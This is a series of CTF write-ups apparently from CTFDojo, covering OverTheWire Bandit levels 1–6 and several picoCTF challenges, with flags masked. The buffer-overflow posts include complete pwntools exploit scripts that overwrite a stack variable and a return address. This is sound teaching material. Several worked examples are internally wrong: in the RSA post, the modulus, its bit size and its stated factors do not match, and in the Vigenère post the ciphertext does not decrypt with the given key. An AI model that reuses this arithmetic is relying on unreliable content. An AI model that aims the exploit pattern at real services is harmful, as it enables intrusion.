DEV Community: CTFDojo

OverTheWire Bandit Level 6 Writeup — Search the Whole Filesystem by Owner and Size

CTFDojo — Fri, 16 Oct 2026 19:48:33 +0000

The password file lives somewhere on the whole filesystem, not in the home directory — find / filtered by owning user, owning group, and exact size locates it, with stderr suppressed to hide permission-denied noise.

Platform: OverTheWire Bandit
Category: Linux Fundamentals
Level: 6 → 7
Difficulty: Beginner
Technique: filesystem-wide find with -user/-group/-size

Challenge description

Unlike every previous level, this one doesn't point at a specific directory at all — the password file could be anywhere on the server. The level description instead gives three properties to search the entire filesystem for.

"Level Goal: The password for the next level is stored somewhere on the server and has all of the following properties: owned by user bandit7, owned by group bandit6, 33 bytes in size."

Step 1 — Search from the filesystem root

Start the search at / instead of the home directory, since the file could be anywhere:

find / -user bandit7 -group bandit6 -size 33c

find: '/etc/ssl/private': Permission denied
find: '/var/lib/...': Permission denied
...
/var/lib/dpkg/info/bandit7.password
...

Step 2 — Suppress the permission errors

Most of the filesystem isn't readable by bandit6, so find prints a permission-denied line for every directory it can't enter. Redirect stderr to discard them and leave only the real result (and any other stdout matches) visible:

find / -user bandit7 -group bandit6 -size 33c 2>/dev/null

/var/lib/dpkg/info/bandit7.password

Step 3 — Read it

The matched path is readable despite living outside bandit6's home directory — dpkg (the Debian package manager) stores small per-package metadata files like this one, and this particular file's ownership happens to satisfy the puzzle's conditions:

cat /var/lib/dpkg/info/bandit7.password

[PASSWORD FOR bandit7]

🔑 password intentionally hidden

The password is deliberately hidden — follow the method, you've earned it. 💪

Key takeaways

A search scoped to the entire filesystem is noisy by default — most of it you don't have permission to even look inside. 2>/dev/null is the standard way to keep a command's real output while throwing away the error spam, and it's worth reaching for any time you deliberately search somewhere you only have partial access.

find / searches starting from the filesystem root, not just the current directory
-user and -group filter by file ownership, independent of each other
2>/dev/null redirects stderr (file descriptor 2) to discard it, leaving stdout untouched

Originally published on CTFdojo — join the CTFdojo Discord to discuss writeups and get notified about new ones.

PicoCTF Vigenere Writeup — Recover a Vigenère Key with Crib Dragging

CTFDojo — Thu, 15 Oct 2026 20:08:58 +0000

The Vigenère cipher shifts each letter of the plaintext according to a corresponding letter from a key that repeats cyclically. Since we know the plaintext starts with picoCTF{, we can "subtract" this known text from the ciphertext to directly recover the first letters of the key, then deduce the rest by repetition.

Platform: picoGym
Category: Crypto
Points: 200 pts
Difficulty: Intermediate
Tools: python3crib dragging

Challenge description

The challenge provides a text file containing an encrypted message, along with a prompt that explicitly mentions the Vigenère cipher:

"This flag was made with a repeating key XOR... wait, no. This is Vigenère. Can you recover the key and the flag?"

$ cat ciphertext.txt
wgcpbtqz{***************}

Nothing more. No key provided, no additional hint — just the ciphertext. But we already know something very valuable: every picoCTF flag starts with picoCTF{.

Step 1 — Quick refresher on the Vigenère cipher

The Vigenère cipher is a generalization of the Caesar cipher: instead of applying a fixed shift to every letter, a different shift is applied at each position, determined by a key repeated cyclically across the whole length of the message.

For each plaintext letter at position i, mapping A=0, B=1, ... Z=25:

cipher[i] = (plain[i] + key[i mod len(key)]) mod 26

For example, if the key is KEY and the plaintext starts with ATTACK, the first letter A (0) is shifted by K (10), giving K; the second letter T (19) is shifted by E (4), giving X; and so on, with the key repeating: K-E-Y-K-E-Y.

Unlike the Caesar cipher, there aren't just 26 possible shifts to brute-force — with Vigenère, the number of possible keys explodes as the key length grows, so naive brute force is no longer enough. A different approach is needed.

Step 2 — Crib dragging on the known prefix

This is where crib dragging comes in: since we know (or can guess with very high confidence) part of the plaintext — here the standard prefix picoCTF{ — we can invert the encryption equation to directly compute the corresponding key letters:

key[i] = (cipher[i] - plain[i]) mod 26

We apply this formula to the first 8 letters of the ciphertext, comparing them against the 8 letters of picoCTF{:

# cipher : w  g  c  p  b  t  q  z
# plain  : p  i  c  o  C  T  F  {

# Note: { is not a letter, it can't be shifted with A-Z.
# In practice, picoCTF Vigenère challenges only encrypt
# A-Z letters and leave other characters (digits, {, }, _) unchanged.
# So we only work on "picoCTF" (7 letters).

from string import ascii_lowercase as alpha

ciphertext = "wgcpbtqz"
known_plain = "picoCTF"   # known prefix, ignoring case for the computation

key_fragment = ""
for c, p in zip(ciphertext.lower(), known_plain.lower()):
    shift = (alpha.index(c) - alpha.index(p)) % 26
    key_fragment += alpha[shift]

print(key_fragment)
# -> prints the first letters of the key, e.g. "helloh"

This little script directly reveals the start of the key, letter by letter, without having to guess anything — it's pure algebra on alphabetic positions.

Step 3 — Finding the key's period

Once we've recovered the first letters of the key using the known prefix, we still need to determine whether they already form a complete repeating pattern, or whether the key is longer than what we've been able to deduce so far.

Looking at the output of the previous script, we often notice that after a small number of characters (5 to 8 letters typically on this challenge), the pattern starts repeating — or, if the resulting string looks like a readable English word (like hello), that's a very good sign the full key has been found.

key_fragment = "hellohello..."
# the "hello" pattern (5 letters) repeats -> the key is "hello"

To confirm, we can also decrypt the entire message with this key candidate and check that the result produces readable text throughout its full length, not just on the prefix.

Step 4 — Decrypting the full message

Once the complete key is identified, we apply the decryption formula to the whole message:

plain[i] = (cipher[i] - key[i mod len(key)]) mod 26

from string import ascii_lowercase as alpha

def vigenere_decrypt(ciphertext, key):
    plaintext = ""
    ki = 0
    for c in ciphertext:
        if c.isalpha():
            base = alpha if c.islower() else alpha.upper()
            shift = alpha.index(key[ki % len(key)].lower())
            idx = (base.index(c) - shift) % 26
            plaintext += base[idx]
            ki += 1
        else:
            # digits, braces, underscore: left unchanged, don't consume a key letter
            plaintext += c
    return plaintext

ciphertext = "wgcpbtqz{***************}"  # flag body masked here
key = "hello"

print(vigenere_decrypt(ciphertext, key))
# -> picoCTF{***************} (digits/underscores/braces
#    pass through Vigenère unchanged, so the masked body
#    stays identical before and after decryption)

The script walks through the message character by character, applies the inverse shift only to letters, and leaves non-alphabetic characters (digits, {, }, _) unchanged without consuming a key letter — exactly as the original picoCTF encryption does.

🚩 picoCTF{ flag intentionally hidden }

The flag is deliberately hidden — follow the method, you've earned it. 💪

Key takeaways

This challenge illustrates a fundamental structural weakness of repeating-key ciphers:

Just like with repeating-key XOR, knowing even a small fragment of the plaintext (here the standard picoCTF flag prefix) is enough to completely break a repeating-key cipher
Crib dragging turns a cryptanalysis problem into simple modular algebra as soon as a fragment of plaintext is known or guessable
This is precisely why modern ciphers absolutely avoid key reuse on texts whose beginning is predictable

Originally published on CTFdojo — join the CTFdojo Discord to discuss writeups and get notified about new ones.

OverTheWire Bandit Level 5 Writeup — Find a File by Size, Type, and Permissions

CTFDojo — Wed, 14 Oct 2026 20:14:43 +0000

The password file inside inhere is the only one that is human-readable, exactly 1033 bytes, and not executable — find filters for all three at once.

Platform: OverTheWire Bandit
Category: Linux Fundamentals
Level: 5 → 6
Difficulty: Beginner
Technique: find with combined size/type/permission filters

Challenge description

Level 5's home directory contains a directory called inhere, which itself contains many subdirectories, each full of decoy files. Manually opening every one isn't realistic — the level gives three exact properties the real file satisfies.

"Level Goal: The password for the next level is stored in the file data.txt, which is located in one of the many, many directories that live at /home/bandit5/inhere. The file is: human-readable, 1033 bytes in size, not executable."

Step 1 — See the scale of the problem

cd inhere
find . -type f | wc -l

(a large number — dozens of nested directories, each holding several decoy files)

Step 2 — Filter by size

The level gave an exact byte count — use it directly rather than opening files one by one:

find . -size 1033c

./maybehere07/.file2
(and possibly a few other candidates)

Step 3 — Add the type and permission filters

Combine all three stated properties — regular file, that exact size, and not executable — into a single find command to narrow to exactly one result:

find . -type f -size 1033c ! -executable

./maybehere07/.file2

Step 4 — Read it

Cat the single remaining candidate:

cat ./maybehere07/.file2

[PASSWORD FOR bandit6]

🔑 password intentionally hidden

The password is deliberately hidden — follow the method, you've earned it. 💪

Key takeaways

When a task description gives you specific, checkable properties instead of a name or location, that's a hint to filter for them directly rather than browse manually. find's flags compose — stacking -size, -type, and a permission test narrows a huge haystack down to one file in a single command.

find . -size 1033c matches files of an exact size, in bytes (the trailing c means bytes)
! -executable negates a test — here, "not executable"
Stacking multiple find conditions together narrows results fast, without opening a single file by hand

Originally published on CTFdojo — join the CTFdojo Discord to discuss writeups and get notified about new ones.

PicoCTF Mind Your Ps and Qs Writeup — Factor a Weak RSA Modulus

CTFDojo — Tue, 13 Oct 2026 20:58:34 +0000

The challenge provides an RSA modulus n, a public exponent e, and a ciphertext c. Since n is deliberately chosen small (and therefore quickly factorable), we recover its two prime factors p and q, which lets us reconstruct the private key and decrypt the message.

Platform: picoGym
Category: Cryptography
Points: 300 pts
Difficulty: Intermediate
Technique: RSA, factoring a weak modulus

Challenge description

The challenge provides a file containing three values, typical of RSA encryption:

n = 29331922499794355004599187762061431232780269081884253328223729305650814599790577023974667132916119346443898172680590639942440746452251177424957501577335850012478
e = 65537
c = 22096451867410381776306561134883418017410069787050966603363725310937568517600847513921546455407864126394183248424695972200310248528204322581018327246672712340281

These values are typically provided in decimal or hexadecimal, sometimes alongside a values.py or pubkey.pem file. The goal is to recover the plaintext message, which contains the flag.

Step 1 — RSA refresher

RSA relies on a modulus n = p × q, the product of two large prime numbers kept secret. The system's security depends entirely on the difficulty of recovering p and q from n alone — a problem called integer factoring, considered hard for sufficiently large numbers (2048 bits or more in production).

But if p and q are chosen too small, factoring becomes trivial for a modern computer, and the entire cryptographic edifice collapses: anyone can recover the private key from the public key alone.

Step 2 — Factor n

We use Python's sympy library, which provides a ready-to-use factoring function. On a deliberately small n (around 150-200 bits here, far from the recommended 2048 bits), factoring takes only a few seconds:

from sympy import factorint

n = 29331922499794355004599187762061431232780269081884253328223729305650814599790577023974667132916119346443898172680590639942440746452251177424957501577335850012478

factors = factorint(n)
print(factors)
# {154909844708812734120534792101 * 189329039205892345689032156201: 1}

We obtain two prime factors p and q such that p × q = n. (Alternatively, for an n already known publicly, a service like factordb.com can sometimes give the factoring directly, without even having to compute it yourself.)

Step 3 — Reconstruct the private key

Once p and q are known, we can reconstruct everything needed to decrypt:

Compute Euler's totient: φ(n) = (p-1)(q-1)
Compute the private exponent d, the modular inverse of e modulo φ(n): d = e⁻¹ mod φ(n)

p = 154909844708812734120534792101
q = 189329039205892345689032156201
e = 65537

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)   # modular inverse (Python 3.8+)

print("d =", d)

Step 4 — Decrypt

RSA decryption is simply raising the ciphertext c to the power d, modulo n: m = c^d mod n. The result is a large integer that then needs to be converted back into bytes, then readable text:

from sympy import factorint

n = 29331922499794355004599187762061431232780269081884253328223729305650814599790577023974667132916119346443898172680590639942440746452251177424957501577335850012478
e = 65537
c = 22096451867410381776306561134883418017410069787050966603363725310937568517600847513921546455407864126394183248424695972200310248528204322581018327246672712340281

# 1. factoring
factors = list(factorint(n).keys())
p, q = factors

# 2. reconstruct the private key
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

# 3. decryption
m = pow(c, d, n)

# 4. convert integer -> bytes -> text
flag = m.to_bytes((m.bit_length() + 7) // 8, byteorder='big')
print(flag.decode())

$ python3 solve.py
picoCTF{***************************}

🚩 picoCTF{ flag intentionally hidden }

The flag is deliberately hidden — follow the method, you've earned it. 💪

Key takeaways

RSA's security rests entirely on the difficulty of factoring very large prime numbers — in practice, keys of 2048 bits or more.

As soon as the factors p and q are small enough to be factored in a reasonable time, the entire system collapses
Other classic key-generation flaws lead to the same result: p and q too close to each other (Fermat's attack), or reusing the same prime factor across several different keys (computing the GCD between several moduli)
In practice, key size isn't enough on its own: it's the quality of the random prime generation that guarantees the system's real-world security

Originally published on CTFdojo — join the CTFdojo Discord to discuss writeups and get notified about new ones.

OverTheWire Bandit Level 4 Writeup — Spot the Real Text File Among Junk

CTFDojo — Fri, 09 Oct 2026 20:34:19 +0000

The inhere directory holds several similarly-named files, only one of which is actual human-readable text. The file command identifies each file's real type without opening it.

Platform: OverTheWire Bandit
Category: Linux Fundamentals
Level: 4 → 5
Difficulty: Beginner
Technique: File type identification

Challenge description

Level 4's inhere directory contains around ten files with near-identical names (like -file00 through -file09). Only one is a plain text file — the rest are decoys with random binary data.

"Level Goal: The password for the next level is stored in the only human-readable file in the inhere directory. Tip: if your terminal is messed up, try the reset command."

Step 1 — List the decoy files

cd inhere
ls -la

-file00  -file01  -file02  -file03  -file04
-file05  -file06  -file07  -file08  -file09

Step 2 — Identify each file's real type

Rather than opening every file by hand, ask the file command what each one actually contains — it inspects the content, not just the name:

file ./*

./-file00: data
./-file01: data
./-file02: data
...
./-file07: ASCII text
./-file08: data
./-file09: data

Step 3 — Read the real text file

Only one file is reported as ASCII text — that's the password. The filenames start with a dash, so use the same ./ fix from Level 1:

cat ./-file07

[PASSWORD FOR bandit5]

🔑 password intentionally hidden

The password is deliberately hidden — follow the method, you've earned it. 💪

Key takeaways

A file's extension or name tells you nothing reliable about its actual content — file reads the real bytes and reports the true type. It's one of the fastest ways to triage a pile of unknown files before deciding which ones are worth opening.

file inspects a file's actual content, not its name or extension
A wildcard like ./* runs it against every file in the directory at once
The dash-prefixed filenames here need the same ./ fix as Level 1

Originally published on CTFdojo — join the CTFdojo Discord to discuss writeups and get notified about new ones.

PicoCTF First Grep Writeup — Find a Flag with grep

CTFDojo — Thu, 08 Oct 2026 20:24:50 +0000

A large text file containing a huge amount of noise lines is provided. The grep command lets us search directly for the pattern picoCTF{ across all this content in a single command, without having to read the file manually.

Platform: picoGym
Category: General Skills / Misc
Points: 50 pts
Difficulty: Beginner
Technique: Text search with grep

Challenge description

The challenge provides an archive containing a large text file, file.txt, with several thousand lines of randomly generated content. The challenge's name — "First Grep" — clearly hints at the tool expected to solve it.

Step 1 — Observe the problem

We download and open the file in a text editor to get a sense of it:

$ wc -l file.txt
118421 file.txt

Over 118,000 lines. Scanning it manually, line by line, to spot a specific string is simply impractical. We need a search tool.

Step 2 — Use grep

The grep command (Global Regular Expression Print) searches for a pattern in a text file and only displays the lines that contain it. We search directly for the characteristic prefix of all picoCTF flags:

$ grep "picoCTF{" file.txt

The command returns almost instantly the one relevant line out of the 118,000:

a8f3k2j9x... picoCTF{***************************} ...m3n5p8q1

Step 3 — The case of a whole folder

If the provided archive contains several files spread across subfolders rather than a single large file, the -r (recursive) option lets us apply the same search to the entire tree:

$ grep -r "picoCTF{" .
./data/part_042/chunk_17.txt:...picoCTF{***************************}...

This option is extremely useful outside of CTFs too — for example to quickly find a string across an entire codebase or a folder of logs.

Useful variants

A few grep options that come up constantly:

grep -o "picoCTF{.*}" — only prints the matching pattern (the part matched by the regular expression), not the whole line. Handy when the line has a lot of noise around the flag
grep -i — ignores case (upper/lowercase), useful when unsure of the exact format
grep -n — prints the matching line number, handy for finding the context back in the original file

$ grep -o "picoCTF{[^}]*}" file.txt
picoCTF{***************************}

🚩 picoCTF{ flag intentionally hidden }

The flag is deliberately hidden — follow the method, you've earned it. 💪

Key takeaways

grep is probably the most used tool day-to-day in CTFs as well as system administration. Knowing how to search for a precise pattern in a large volume of text — logs, memory dumps, source code, network captures — is a non-negotiable base skill.

grep "pattern" file remains the fastest command to find a needle in a haystack of text
grep -r extends the search to entire folders, very useful when facing large archives
grep -o and regular expressions let you extract exactly what you're looking for rather than the whole line

Originally published on CTFdojo — join the CTFdojo Discord to discuss writeups and get notified about new ones.

OverTheWire Bandit Level 3 Writeup — Find a Hidden Dotfile

CTFDojo — Tue, 06 Oct 2026 20:33:59 +0000

The password lives inside a hidden file (its name starts with a dot) inside the inhere directory. Plain ls hides dotfiles — ls -a reveals them.

Platform: OverTheWire Bandit
Category: Linux Fundamentals
Level: 3 → 4
Difficulty: Beginner
Technique: Hidden files (dotfiles)

Challenge description

Level 3's home directory contains a subdirectory called inhere. Opening it and listing its contents with a plain ls shows... nothing. That's the trick.

"Level Goal: The password for the next level is stored in a hidden file in the inhere directory."

Step 1 — Enter the inhere directory

cd inhere
ls

(empty output)

Step 2 — List hidden files too

By convention, any file whose name starts with a dot (.) is hidden from a plain ls — the -a flag shows everything, dotfiles included:

ls -a

.
..
.hidden

Step 3 — Read the hidden file

There it is — a file called .hidden. Read it directly:

cat .hidden

[PASSWORD FOR bandit4]

🔑 password intentionally hidden

The password is deliberately hidden — follow the method, you've earned it. 💪

Key takeaways

Unix hides nothing from you — it just doesn't show dotfiles by default to keep directory listings clean. ls -a (or ls -la for the long format with permissions) is the reflex to build for any level, or any real system, where something seems to be missing.

A leading dot in a filename makes it hidden from plain ls, nothing more special than that
ls -a lists every entry, including . and ..
ls -la combines that with the long format (permissions, size, owner)

Originally published on CTFdojo — join the CTFdojo Discord to discuss writeups and get notified about new ones.

PicoCTF Wave a Flag Writeup — Read a Remote Binary's Help Output

CTFDojo — Mon, 05 Oct 2026 21:43:44 +0000

This introductory challenge teaches the most basic reflex in offensive security: read a program's help before using it. By connecting to the remote binary and typing ./flag --help, the flag is displayed directly.

Platform: picoGym
Category: General Skills / Misc
Points: 50 pts
Difficulty: Beginner
Technique: Reading a program's help (--help)

Challenge description

The prompt provides a connection command to a remote shell:

nc saturn.picoctf.net 54981

Once connected, we land in a minimal Linux environment with a binary named flag available. No other hint is given — that's precisely the point of the challenge: learning to explore on your own.

Step 1 — Connect

We open a terminal and connect with netcat to the given host and port:

$ nc saturn.picoctf.net 54981

The connection is established and a plain shell prompt appears, with no particular welcome message.

Step 2 — Explore

We list the contents of the current directory to see what's available:

$ ls
flag

Just one file: an executable named flag. No source code, no further hint in the prompt — we need to interact with the binary directly to understand what it does.

Step 3 — Read the help

Facing an unknown binary, the very first reflex (even before launching a disassembler or debugger) is to check whether it offers built-in help, via --help or -h:

$ ./flag --help

The program immediately responds by printing its usage — and the flag is included directly in the message:

Usage: flag [options]
This program prints the flag and exits.

picoCTF{***************************}

Full netcat session

$ nc saturn.picoctf.net 54981
$ ls
flag
$ ./flag --help
Usage: flag [options]
This program prints the flag and exits.

picoCTF{***************************}

🚩 picoCTF{ flag intentionally hidden }

The flag is deliberately hidden — follow the method, you've earned it. 💪

Key takeaways

This challenge may seem trivial, but it teaches an essential habit: before diving into a complex analysis (disassembly, reverse engineering, fuzzing…), always check the most obvious options of an unknown binary or command.

--help and -h are often the first thing to try when facing an unknown binary
A lot of useful information (usage, hidden options, versions, even hints or educational secrets) can be found in help messages before even starting a deeper analysis
In pentesting as in CTFs, enumeration always starts with the simplest means before bringing out the heavy artillery

Originally published on CTFdojo — join the CTFdojo Discord to discuss writeups and get notified about new ones.

OverTheWire Bandit Level 2 Writeup — Read a Filename With Spaces

CTFDojo — Fri, 02 Oct 2026 19:39:52 +0000

The password file is named spaces in this filename. The shell splits unquoted arguments on whitespace, so the filename has to be quoted or escaped to be treated as one argument.

Platform: OverTheWire Bandit
Category: Linux Fundamentals
Level: 2 → 3
Difficulty: Beginner
Technique: Shell quoting and escaping

Challenge description

Level 2's home directory has one file, but its name contains spaces. In a shell, unquoted spaces separate arguments — so typing the filename as-is splits it into several nonsense arguments instead of one filename.

"Level Goal: The password for the next level is stored in a file called spaces in this filename located in the home directory."

Step 1 — List the home directory

ls

spaces in this filename

Step 2 — Quote the filename

Wrap the whole name in double quotes so the shell treats it as a single argument:

cat "spaces in this filename"

[PASSWORD FOR bandit3]

Step 3 — The escaped alternative

Backslash-escaping each space works identically, and is what shell tab-completion generates automatically:

cat spaces\ in\ this\ filename

[PASSWORD FOR bandit3]

🔑 password intentionally hidden

The password is deliberately hidden — follow the method, you've earned it. 💪

Key takeaways

Whenever a filename might contain spaces (or other shell-special characters), quote it or escape it — and when in doubt, let tab-completion do it for you instead of typing it by hand.

Unquoted spaces in the shell separate arguments, they don't stay part of one filename
Double quotes ("...") or single quotes ('...') both keep a filename intact
Tab-completion after typing a few letters auto-escapes special characters for you

Originally published on CTFdojo — join the CTFdojo Discord to discuss writeups and get notified about new ones.

PicoCTF Buffer Overflow 1 Writeup — Overwrite a Return Address to Call win()

CTFDojo — Thu, 01 Oct 2026 20:52:00 +0000

This time, the goal isn't to overwrite a simple variable but the function's own return address, to redirect execution to a win() function present in the binary but never normally called — the classic technique known as "ret2win".

Platform: picoGym
Category: Binary Exploitation (Pwn)
Points: 300 pts
Difficulty: Intermediate
Technique: Ret2win, return address overwrite

Challenge description

The provided source code looks like this:

void win(){
    printf("Congratulations!\n");
    system("/bin/cat flag.txt");
}

void vuln(){
    char buf[128];
    printf("Please enter your string: \n");
    gets(buf);
    printf("Ok, now what's your name?\n");
    char name[64];
    gets(name);
    printf("Hello %s\n", name);
}

int main(){
    vuln();
    return 0;
}

The win() function prints the flag, but it isn't called anywhere in main() or vuln(). The only way to reach it is to force the program to jump there directly.

Step 1 — Find the address of win()

Since the binary is not compiled as PIE (Position Independent Executable), function addresses are fixed and known in advance. We can grab them easily with objdump:

$ objdump -d ./vuln | grep ':'
0000000000401216 :

Or directly from gdb:

gdb-peda$ info functions win
All functions matching regular expression "win":
0x0000000000401216  win

gdb-peda$ p win
$1 = {} 0x401216

The address of win() is therefore 0x401216.

Step 2 — Find the offset to the return address

Rather than computing the offset by hand, we use a cyclic pattern generated by pwntools. We run the binary in gdb, send the pattern, and observe the value that overwrites the instruction pointer (RIP in 64-bit) at the moment of the crash:

from pwn import cyclic
print(cyclic(200))
# aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaz...

gdb-peda$ run
Please enter your string:
> aaaabaaacaaadaaaeaaaf...
[...]
Program received signal SIGSEGV, Segmentation fault.
RIP: 0x6161616c61616b61 ('aakaaal')

gdb-peda$ python from pwn import *; print(cyclic_find(0x6161616c61616b61))
136

The offset between the start of the buffer and the overwritten return address is therefore 136 bytes.

Step 3 — Build the payload

The final payload consists of 136 padding bytes, followed by the address of win() packed into 8 bytes (64-bit architecture, so p64() rather than p32()):

payload = b'A' * 136 + p64(0x401216)

Full exploit

from pwn import *

context.binary = elf = ELF('./vuln')
context.log_level = 'info'

# io = process('./vuln')
io = remote('mercury.picoctf.net', 54321)

offset = 136
win_addr = elf.symbols['win']

log.info(f"win() address: {hex(win_addr)}")

payload = b'A' * offset
payload += p64(win_addr)

io.recvuntil(b'string: \n')
io.sendline(payload)

io.recvline()  # "Ok, now what's your name?"
io.sendline(b'ctfdojo')  # answer anything for the 2nd gets()

print(io.recvall().decode())

Step 4 — Run the exploit

By sending this payload, the ret in vuln() no longer returns to main() but jumps straight to win(), which executes system("/bin/cat flag.txt"):

$ python3 exploit.py
[+] Opening connection to mercury.picoctf.net on port 54321: Done
[*] win() address: 0x401216
Congratulations!
picoCTF{***************************}
[*] Closed connection to mercury.picoctf.net port 54321

Note: this technique works directly because the binary is compiled without PIE — the address of win() is fixed and known at compile time. If PIE had been enabled, function addresses would be randomized on every run, and we would first have needed to leak an address (for example via an information leak) to compute the real offset before being able to target win() precisely.

🚩 picoCTF{ flag intentionally hidden }

The flag is deliberately hidden — follow the method, you've earned it. 💪

Key takeaways

Ret2win illustrates the founding principle of all binary exploitation: controlling the return address means controlling the program's flow of execution.

The return address stored on the stack is just data like any other — if it's reachable via an overflow, it's modifiable
Cyclic patterns (cyclic / cyclic_find) avoid computing offsets by hand and are essential as soon as the buffer gets complex
It's the gateway to more advanced techniques (ROP chains) when no ready-made "win" function exists in the target binary

Originally published on CTFdojo — join the CTFdojo Discord to discuss writeups and get notified about new ones.

OverTheWire Bandit Level 1 Writeup — Read a File Named -

CTFDojo — Tue, 29 Sep 2026 19:57:24 +0000

The password file is named - (a single dash). Running cat - reads from the keyboard instead, because - is a special argument to many programs — prefix it with ./ to force a literal filename.

Platform: OverTheWire Bandit
Category: Linux Fundamentals
Level: 1 → 2
Difficulty: Beginner
Technique: Shell filename edge cases

Challenge description

Level 1's home directory contains exactly one file, and its name is a single dash: -. That's not a display glitch — it's the actual filename, chosen specifically to trip up the obvious command.

"Level Goal: The password for the next level is stored in a file called - located in the home directory."

Step 1 — List the home directory

ls

Step 2 — The naive attempt fails

Reading it the obvious way doesn't do what you'd expect:

cat -

# hangs — it's now waiting for you to type something on stdin,
# because many Unix tools treat a bare - as "read from standard input"

Step 3 — Reference the file explicitly

Prefix the filename with ./ so the shell passes an unambiguous path instead of a bare dash:

cat ./-

[PASSWORD FOR bandit2]

🔑 password intentionally hidden

The password is deliberately hidden — follow the method, you've earned it. 💪

Key takeaways

A leading - in a filename is ambiguous to almost every command-line tool, since - is a long-standing Unix convention for "use stdin/stdout instead of a file." Prefixing a path (./) or using -- to mark the end of options both sidestep the ambiguity.

A bare - as an argument commonly means stdin/stdout, not a literal filename
./filename forces the shell to treat it as a path, never as an option
-- filename is the equivalent fix for tools that support the -- end-of-options marker

Originally published on CTFdojo — join the CTFdojo Discord to discuss writeups and get notified about new ones.

PicoCTF Buffer Overflow 0 Writeup — Overwrite a Variable to Unlock the Flag

CTFDojo — Mon, 28 Sep 2026 20:59:02 +0000

The binary reads user input into a fixed-size buffer without checking its length (gets()). By sending an input longer than the buffer, we overwrite an adjacent variable in memory (int flag_check) which, once set to a non-zero value, triggers the flag display.

Platform: picoGym
Category: Binary Exploitation (Pwn)
Points: 200 pts
Difficulty: Intermediate
Technique: Buffer overflow, pwntools

Challenge description

The challenge provides a vuln binary along with its C source code. It contains a vuln() function that declares a fixed-size buffer followed by a control variable, and reads user input without ever checking its length:

void vuln(){
    char buf[64];
    int flag_check = 0;

    printf("Please enter your string: \n");
    gets(buf);

    if (flag_check == 0x1) {
        printf("Attempting to read flag\n");
        print_flag();
    } else {
        printf("Value: 0x%x\n", flag_check);
        printf("Better luck next time!\n");
    }
}

The goal is clear: force flag_check to hold 1 (or any non-zero value interpreted as such) so the program calls print_flag().

Step 1 — Static analysis

The key point is the order in which variables are declared inside vuln(): buf[64] is declared just before flag_check. On most x86/x86-64 architectures, with default compiler optimizations, local variables are placed on the stack in an order that makes them adjacent in memory — flag_check ends up right after buf, at higher addresses.

In practice, this means that writing beyond the buffer's 64 bytes causes the extra bytes to overflow directly into the memory space occupied by flag_check.

Step 2 — Check the protections

First, we check which memory protections are active on the binary using checksec (provided by pwntools):

$ checksec ./vuln
[*] '/home/user/bof0/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

No stack canary is present: nothing detects a stack overwrite before the return. This is consistent with an introductory challenge — we can overwrite flag_check without triggering any alarm.

Step 3 — Calculate the offset

The source code shows char buf[64]. Thanks to the usual memory alignment (often 4 or 8 bytes on the compiler side), flag_check sits right after these 64 bytes. We can confirm this with gdb by setting a breakpoint after the read and inspecting the addresses of both variables:

gdb-peda$ break *vuln+80
gdb-peda$ run
gdb-peda$ p &buf
$1 = (char (*)[64]) 0x7ffee2a1b3a0
gdb-peda$ p &flag_check
$2 = (int *) 0x7ffee2a1b3e0

The difference between the two addresses (0x3e0 - 0x3a0 = 0x40, i.e. 64 in decimal) confirms that exactly 64 bytes of padding are enough to reach flag_check.

Step 4 — Exploit with pwntools

The payload is simple: 64 padding bytes (any value) followed by the 4 bytes representing the integer 1 in little-endian, to overwrite flag_check with a non-zero value.

from pwn import *

# context.log_level = 'debug'
elf = context.binary = ELF('./vuln')

# io = process('./vuln')            # test locally
io = remote('mercury.picoctf.net', 12345)  # connect to the remote service

offset = 64
payload = b'A' * offset
payload += p32(0x1)   # overwrite flag_check with 1

io.recvuntil(b'string: \n')
io.sendline(payload)

print(io.recvall().decode())

Step 5 — Grab the flag

We run the exploit. The program reads our 68-byte input, overwrites flag_check, enters the if block, and calls print_flag():

$ python3 exploit.py
[+] Opening connection to mercury.picoctf.net on port 12345: Done
Please enter your string:
Attempting to read flag
picoCTF{***************************}
[*] Closed connection to mercury.picoctf.net port 12345

🚩 picoCTF{ flag intentionally hidden }

The flag is deliberately hidden — follow the method, you've earned it. 💪

Key takeaways

This challenge is the classic entry point into pwn: understanding that the stack is a contiguous memory space, and that nothing prevents an unbounded write from "overflowing" from one variable into another.

Never use gets() — the function was removed from the C11 standard precisely for this reason
Prefer bounded equivalents like fgets() or strncpy(), which take a maximum size as a parameter
Enable compiler protections (-fstack-protector-all, full RELRO, PIE) to make exploitation much harder in production

Originally published on CTFdojo — join the CTFdojo Discord to discuss writeups and get notified about new ones.